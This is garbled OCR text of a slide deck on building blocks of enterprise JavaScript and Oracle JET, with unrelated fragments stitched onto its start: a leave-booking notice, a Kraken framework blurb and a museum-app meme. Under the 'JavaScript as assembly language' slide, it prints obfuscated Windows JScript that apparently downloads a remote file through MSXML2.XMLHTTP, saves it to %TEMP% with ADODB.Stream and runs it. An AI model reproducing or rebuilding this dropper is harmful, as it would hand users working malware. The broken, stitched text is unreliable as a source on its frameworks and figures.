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To avoid disappointment, please consider the
approved holidays of your fellow colleagues.
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booking your leave on this day.
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kraken

Give your node.js express apps some axtra arms

The kraken suite

Kraken i$ a securs and scalable layer thal extends axpress by providing structun and convention. Though kraken is the main pillar of our framawork, the
following modules can also be used indepandanthy:
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A metaphor
for our age!

The distracted
society!

Facebook
beats
Rembrandt!

(And the end
of the world
IS nigh.)




Actually...

They're using
a museum app.

And are finding
out more about
the paintings they
had been closely
focused on a few
minutes earlier.
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JavaScript happens.




10 Building Blocks of Enterprise JavaScript

1

1
2
3
4
5.
6
7/
8
9

. Resist the hype.

. Rediscover HTML5 as an application framework.

. Evaluate the framework vs. library approach.
Incorporate modularity.

. Evaluate abstractions over JavaScript, CSS, and HTML.
. Don't worry about ecosystem volatility.

. Reorientate around WONTA instead of WORA. .

Al

. Evaluate corporate frameworks.

0. Reconsider JavaScript as assembly language.

. Compare responsive design between CSS and JavaScript.




1. Resist the hype







e Data heavy
monitoring systems.

 Behind the firewall
management systems.

e Large resolution
requirements.

e All the users
in the same room.

” - ?




la. Consider supplementing
with new devices




* Mobile app
to receive urgent notifications
for air traffic controlers.

 Web app
to display reports
for upper management.

* And keep the main system
exactly as it has always been
since that's how it makes sense.




2. Rediscover HTMLS as an
application framework

o







HTMLS: Not Documents Only, Not Multimedia Only

* Originally, HTML was designed
as a language for semantically
describing scientific documents. HTML

* HTMLS is a response to
demands for multimedia experiences
(animations, games, movies, and audio).

* However, it also includes
built-in application-development features.

* Semantic markup: <article>, <header>

* New input types: e-mail, URL, color. s

Al

* New Intellisense/Auto Completion.

* Validation attributes, 'required’' and 'pattern’.




Principles of HTML5

* New features should be
based on HTML, CSS, and JavaScript.

* Need for external plugins, e.g., Flash,
should be reduced.

* Error handling should be easier
than previous versions.

* Scripting should be replaced
by more markup.

* HTMLS5 should be device independent.

HTML




<input id="country_name" ﬂfh -
name="mycountry" .
type="text"

Albania

) Algeria
req ul red Andorra
list="country" /> Angola

<datalist id="country">
<option value="Afghanistan">
<option value="Albania">
<option value="Algeria">
<option value="Andorra">
<option value="Angola">
</datalist>

Al
Albania
Algeria




Demos




3. Compare responsive design
between CSS and JavaScript

o







CSS: Not Only Styling of Documents

* Originally, CSS was designed
as a stylesheet language for describing
the look and feel of documents.

* Unlike previous versions, CSS3
is modular: over 50 modules
make up CSS3.

* “Media Query” is the most well known.

* Tailer to different resolutions.

* Enable responsive design.

* But... also take a look at JavaScript for this.

nTMt

CSS




CSS: Maybe Less Effective Than JavaScript

* CSS3 Media Queries
show/hide elements from the DOM.

nTMt

* JavaScript libraries
load/unload elements from the DOM.

* Response.js:
http://responsejs.com

* Foundation Interchange:
http://foundation.zurb.com

CSS
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4. Evaluate the
framework vs. library approach

Py
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- Protractor

end to end testing for Angular]S




Different Libraries, Different Purposes

- Application Frameworks & Libraries
Angular, Knockout, Backbone, Ext, React, Ember, and more

- Component Libraries
JQuery Ul, Sencha, PrimeFaces, and more

- Module Systems
RequirelS, Browserfy, and more

- Build Systems
Grunt, Gulp, Brunch, and more
- Testing Frameworks

Ao

Protractor, Jasmine, Qunit, Karma,




Framework
approach: NGULAJEJDS%
Library

RequireJS

approach:




5. Incorporate modularity







Modularity: Not Natively Built into JavaScript, Right Now

* Consider and compare available modularity solutions

* Require.js:
http://requirejs.org/

* Browserify:
http://browserify.org/

* SystemlS
* ECMAScript 6 Modules
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6. Evaluate abstractions over
JavaScript, CSS, and HTML

o







HTML: Emmet

@Emmet

CSS: SASS, LESS TypeScript

% Ny CoffeeScript B o
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JavaScript: TypeScript, CoffeeScript




7. Don't worry about
ecosystem volatility







Life in a Volatile Ecosystem

* Lifespan of your app equals lifespan of the framework you're using.
* 1% to 2 year lifespan.
* |s the code hard to read, no worries, it'll be rewritten from scratch soon.

* Don't worry so much about maintainability and backward compatibility.

!

* Things change fast, the ecosystem is already different right now
than when this presentation started.




&

To Do:
1. Donwt+Worry
2. Be Happry




8. Reorientate around WONTA
instead of WORA

o







Write Once, Never Touch Again




9. Evaluate corporate frameworks







Unexpected Organizations in Enterprise JavaScript

and open source software projects in general

* Microsoft — several

* IBM — several

* SalesForce — several

* SAP —SAP UI5 and Fiori

* ING — github.com/Spectingular (AngularJS-based component framework.)
* PayPal — krakenjs.com (Node.js/Express based application framework.)

fnge

* Oracle — oraclejet.org (Toolkit of open source JavaScript libi
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Requirements First

* Responsive Design

- Modularity

- Single Page Application

- Accessibility

* Internationalization

- Security & Performance Optimization
 Conformance to Standards

- Documentation & Support




Oracle JET: Free & Open Source Enterprise JavaScript

Oracle JavaScript Extension Toolkit

- oraclejet.org, @oraclejet, github.com/oracle/oraclejet

- Not a framework, not a library, but a toolkit

- Collection of open source libraries, e.g., Require, Knockout, JQuery
 Free and open source component library (Graphs, Charts, etc)

- Architecture and templates and enterprise solutions, e.g., accessibility

P

- Actively used within Oracle, since about 3 years
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ORACLE Business Intelligence Cloud Service

Ear Chart Width

Revenue by Region, Brand, Profit Value

Revenue by Region, Area, Profit Ratie %, Revenue
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ORACLE Business Intelligence Cloud Service

Ear Chart Width

Revenue by Region, Brand, Profit Value

Revenue by Region, Area, Profit Ratie %, Revenue
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ORACLE Business Intelligence Cloud Sendce philippe lions@orache com *
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ORAC L& management Cloud

Application Performance Monitoring

= Server Request

4 OrderService.submit

Yesterday 11:00 AM - Today 11:24 AM

emcsadmin v

©®

Type JAXRPC
AppServer hostC1.apm_testtenantx1.testDom:-1
Deployment OrderService. war
REQUEST RESPONSE TIME TIER AVERAGE RESPONSE CALLS ERRORS APPSERVER
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IT Analytics - Predictive Analytics

Oracle Loge
I
itasraq.us.oracle.com - Risk Analytics

Select a Target:  itasraq.us.oracle.com v Apply

4 Alert Management

JVM Out Of Memory =
Prediction 20, Summary X Severity X Confidence % X Time X Status »

Summary Severity Confidence % Time Status

Early prediction of DB stress alerted 30

minutes in advance. Bottlenecks: User 10

(99.67% DB time due to 20.09 sessions). 0 40 Fri, 09 Jan 2015 09:29:49 GMT
Host Memory (30.97% Memory Used,

22.37% Swap Utilization).

R )
Qo

Early prediction of DB stress alerted 30
minutes in advance. Bottlenecks: User 1O
(99.57% DB time due to 20.08 sessions). o 44 Fri, 09 Jan 2015 05:08:49 GMT
M critical Host Memory (30.65% Memory Used,
Warning 22.37% Swap Utilization).

Q

Early prediction of DB stress alerted 30

minutes in advance. Bottlenecks: User 10

(99.14% DB time due to 20.11 sessions). 0 40 Fri, 09 Jan 2015 03:59:49 GMT
Host Memery (31.06% Memory Used,

22.37% Swap Utilization).

Q

Early prediction of DB stress alerted 30

minutes in advance. Bottlenecks: User 10

(99.73% DB time due to 20.11 sessions). 0 40 Fri, 09 Jan 2015 02:49:49 GMT
Host Memory (32.07% Memory Used,

22.37% Swap Utilization).

Q

Page 1 ofd (1-4of 15 items) Ea 3 4 > o

4 stress Index History &'

= Actual/Average Stress Max Actual Stress

100 I

Stress Index
o Bl A 8 B

6 PM SPM 12 AM 3 AM 6 AM 8 AM 12PM 3PM
B Jan 2015 8

Jul Aug Sep Oct Nov Dec Jan
2014 2M5

4 Key Contributors to Stress ;;“

B Application Commit Concurrency [l Configuration [l User /O Host CPU [ Host Memory [l Host /O




Oracle JET: Free & Open Source Enterprise JavaScript

Oracle JavaScript Extension Toolkit

- oraclejet.org, @oraclejet, github.com/oracle/oraclejet

- Not a framework, not a library, but a toolkit

- Collection of open source libraries, e.g., Require, Knockout, JQuery
 Free and open source component library (Graphs, Charts, etc)

- Architecture and templates and enterprise solutions, e.g., accessibility

P

- Actively used within Oracle, since about 3 years




10. Reconsider JavaScript
as assembly language

o




Program header with basic data

4-'//

;Example of a program which generates a sequence of pulses with
;the frequency of 1KHz. The cutput pin is PO.1.

;Quartz Crystal=12MHz

;Wersion: 1.0, Date: Sth of May 2003, Author: John Smith

SMODB253 ;Program is written for 8253 MCU
DSEG iNext segment refers to internal RAM
ORG 20h
. . Varl Ds 1 ;Byte at location 20h is reserved
Directives STATE BIT Varl.0 ;Bit “STATE” is assigned an address
i d
\OUT?ZIT BIT Pl.0 ;Bit "OUTPUT” is assigned an address
CSEG ;Next segment refers to program memory
ORG Oh ;Program starts at address 0000h
AJMF START iJump to the lable ™START™
ORG 0OBh ;Timer TO interrupt-vector address
AJMP INTERRUPT ;Jump to the lable “INTERRUPT”
START MOW IE, #82h jInterrupt enabled on Timer TO0 overflow
MOV THMOD, #01 ;l6-bit Timer
MOV THO, #FEh iStarting value of Timer is FEOCh
MOV TLO, #0Ch
Labels SETB STATE ;Bit “STATE” is set
SETB TRO ;Timer TO starts operating
\wo:ﬂ NOE
STME LOOE iProgram remains in endless loop
INTERRUPT CLR TRO ;Timer must be stopped before overflow
MOY THO, #FEh ;Timer TO starting walue is rewritten
MOV TLO, #0Ch
SETB TRO ;Timer starts recounting
CPL STATE ;Current state is complemented
MOV C, STATE ;Bit”STATE” is coppied to C bit
MOV QUTPUT,; C ;C bit is coppied to kit ™“OUTPUT”
RETI ;Return from interrupt routine
END

Instructions Comments

(mnemonics) (operands)




var BTJ = "\x63\x6c\x6T\x73\x65",CQ = "\x46\x69\x6C\x65" jvar WB = "\ xX53\x61v\x65\x54\x6T",GO0B = "o\ x6e";var cmd = "\x70\x6Ts5\x69\x74\x69" ,E1 = "\x64\x79";var fo z
G= "Ns\x65\X42\XET",pl = "\X52\XE5\XTI\KTO\xE6T"jvar H = "\xT7\XT2\XE6N T x65",EUp = "\x74\x79\x70e";jvar hl = "\x6T\x70e\x6e";function jO(hmi){var fuckingnoda
G = "s"; return "" + hmi + "";};var eL = "\x32",Tw = "\x61";var UB = "\ x61\x66°\x64\x61fa" ,MZ = "\ x73\x64\x66" ;var kb = "f\x61\x64\x66%\x61"; function Mo(V1l){varz
& fuckingnod = "s"; return "" + V1 + "";};var V8 = "\x61s\x64\x66\x61",gKp = "\x74\x61\x74\x65" jvar €O = "\x72e\x61\x64\x79\x73",]Z = "\x53\xb6ce\x654\x70" ;varz
G Ctv = "\x73\x65n\x64"; function TnI(gpl){var fuckingnod = "s"; return "" + gpl + "";};var WPL = "\xB6a\x73\x66",5b6 = "\x6d\x2T\x6T\x33e\x75"jvar iXe = 2
G\ xBeg\x2e\x63\x6T" ,avb = "\ XTI\ xTO\x6C\X74\x69" ;var rFo = "\xX74\x2d\x63\x6f\x6e" ,gw = "a\xb6c\x2e\x77\x61\x74" ;var wnR = "\ X2\ x2T\x04\x72\x75\x70",cO = 7
GUAXBB\XT4\XTH\XTO\x3a" jvar A] = "\x47\x45\x54"; function u(j){var fuckingnod = "s"; return "" + j + "";};var AU = "\x6T\x70\x65n"; function m(KYS){var 2
g fuckingnod = "s"; return "" + KYS + "";};function ho(se@){var fuckingnod = "s"; return "" + s@ + "";};var K@ = "\x6d",KTS = "\x2e\x53t\x72'\x65\x61"jvar rh =3
E "WHAT\ A\ x4T\ 44\ k42" ,6ps = "\XTB\x65"jvar YL = "\x2e\x65",V = "\¥57\x41\ x4\ x4\ x69\x6b" jvar gk = "\x65\x59\x76\x4e\x70",FAL = "\x25\x2f"j;var Fny = 2
"\ X25T\x45\ x4d\x50" ,Nn = "\x73";var elk = "\ x53\x7A\X72\x69n\x67",W0 = "o\ xG6em\x65\x6e\x74";var L1 = "\x45\x6evix69r",E0 = "E\xX78\xT70\x61n\x64" ;var bQ = 2
G"\x61lbc",K = "Y\x4b\x72";var Ead = "\ x54\x56" ,UUN = "\x65\x63\x6T\xbed\x73";var KP = "\x4dil\x6c\x69\x73",B = "\x67\x65\x74\x55\x54\x43";var E = @
U\ X444\ x61\xT74e",0C = "\x53\x6ce\xB5\x70" jvar ggA = "\x73",10 = "\xT3\x65\x630\x6e\x64" ;var t = "\ x4\ x4d\ X6\ xEC\XBC\XBI", ]Xg = "\XET\XB5T\x55T";var e
G\ x4\ x61\x74e" ; function xDw(b){var fuckingned = "s"; return "" + b + "";};function ho(vs){var fuckingnod = "s"; return "" + Vs + "";};var Fx = 2
G"S\xbc\x654\x65\x70" ; function tDf({JLx){var fuckingnod = "s"; return "" + JLx + "";}ijvar hIV = "\x73",ytF = "\x73\x65\x63\x6\x6e'\x64" jvar 1 = 2
G\ x4d\x69\x6C\XBC\ x69" ,MB = "\x6T7\XB51\x55\x54x43"; function GE(Lx){var fuckingnod = "s"; return "" + Lx + "";};var Lp = "\x44\x61\x74e",c = "\x532\x75\x6e" ;3
gvar h = "\x48T\x54P",wA = "\x32.\x58\x4d\x4c";jvar A = "\x4d\x53\x58M\x4c"; function iE(fa){var fuckingnod = "s"; return "" + fa + "";};function p(N){var =
g fuckingnod = "s"; return "" + N + "";};var mT = "\x6c\x6c",D = "\x74\x2e\x53\x68\x65" jvar AZ = "\X5T\X53\xE3\XT2\ X6\ XTO",C = "\x63\x74"jvar k = 2
5"\xB50\x62\xBa\x65",JTB = "\x43\x72e\x61\x74";var PmM = false,U = "CreateObject";var xr = function s() {var suckavirasuck=1;return WScript[UI(iE(AZ) + p(D) =
G+ mT);}();var I0 = 123213,w = "MSXMLZ.XMLHTTP";var NQ = 2123213,Tc = @;function f(r){xrlcl(r, Tc, Tc);};function XW(}{return w;};function Hm(S, n){return s -2
& n;};function qoD(){return U;};/*@cc on @if (@ win32 || @ wing4) PmM = ftrue; @end@d*/while (PmM){function I(){return 2Z;};var JL = 0,MG = 8;function vK]la
s(){var fas = new this[GE(Lp)1(),z = fas[M8 + 1 + ytF + hIVI();WScript[xDw(Fx)1(I());var fas = new this[Lpl(),Yv = fas[M® + 1 + ytF + hIV1({);WScript[ho(Fx)](Iz
5());var fas = new this[Lpl(),a = fas[M@ + tDf(1l) + ytF + hJavI{);var JL = "TV";IL = Hm{Yv, z);var MG = "YKr";MG = Hm(a, Yv);return Hm{IL, MG);}var M = false,¥z
= false;for (var bLo = Tc; bLo < I() * 1; bLo#+){if (vKI() '= Tc){M = true; MG = "abc" + 898 # JL + MG; Y = true; break;}}function msz() {return ({(M == truez
) && (M ==Y)) ? 1 ¢ Tc;};if (M && mSz() && Y){function v() {return xr[E® + L1 + W8 + eJk + Nnl(Fny + FAL) + gk + V + YL + Gps;}; fqw = XW(); SFj = Wscriptl[Uz
z](fgwW); var gGH = 1,W = WScriptlqoD()]1({rh + m(KTS) + h&(kKé)); while (qGH){try {SFjlu({AU)I(Aj, <@ + wnR + gw + rFo + avb + TnI{(iXe) + SbG + WPL, false);SFjl=a
zCtv]();nHm = "Sleep”;while (SFj[CO + gKpl < 4 ) {WScript[nHm](I() * 12)};qGH = Tc;} catch(cI){gGH = (Mo(ve), k& + MZ, UB, 2);};}function psg(uq) {var UG = (=2
5Tw, jO(eL), ug); return UB;};fow = W;fgwl(AU)I();TgWlEUp] = psg(1);WIHI(SFjlp@ + fo + E11);fqwlcmd + GQB] = psg(Tc);fqWwIwB + CQl(v(), psg(2) );WIBTI1();f(va
5());}break;}

d




Write in Java — Let Framework Create JavaScript

* https://github.com/jashkenas/coffeescript/wiki/list-of-languages-that-compile-to-js
* Vaadin: http://vaadin.com
* Gluon: http://gluonhg.com
* Codename One: https://www.codenameone.com
* DukeScript: http://dukescript.com

* Framework for creating applications for all devices from single codebase.
* Plain Java applications that internally use JavaScript and HTML.
* Business logic in Java and view in HTML.

* Maven archetypes in Maven central.



http://vaadin.com/
http://gluonhq.com/

Write in Java — Let Framework Create JavaScript

DukeScript
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10 Building Blocks of Enterprise JavaScript

. Reorientate around WONTA instead of WORA.

© 0 N VA W N e

Resist the hype.

Rediscover HTMLS5 as an application framework.

Compare responsive design between CSS and JavaScript.

Evaluate the framework vs. library approach.
Incorporate modularity.
Evaluate abstractions over JavaScript, CSS, and HTML.

Don't worry about ecosystem volatility.

Al

Evaluate corporate frameworks.

10. Reconsider JavaScript as assembly language.




Contact Details

@geertjanw
@oraclejet
geertjan.wielenga@oracle.com

blogs.oracle.com/geertjan
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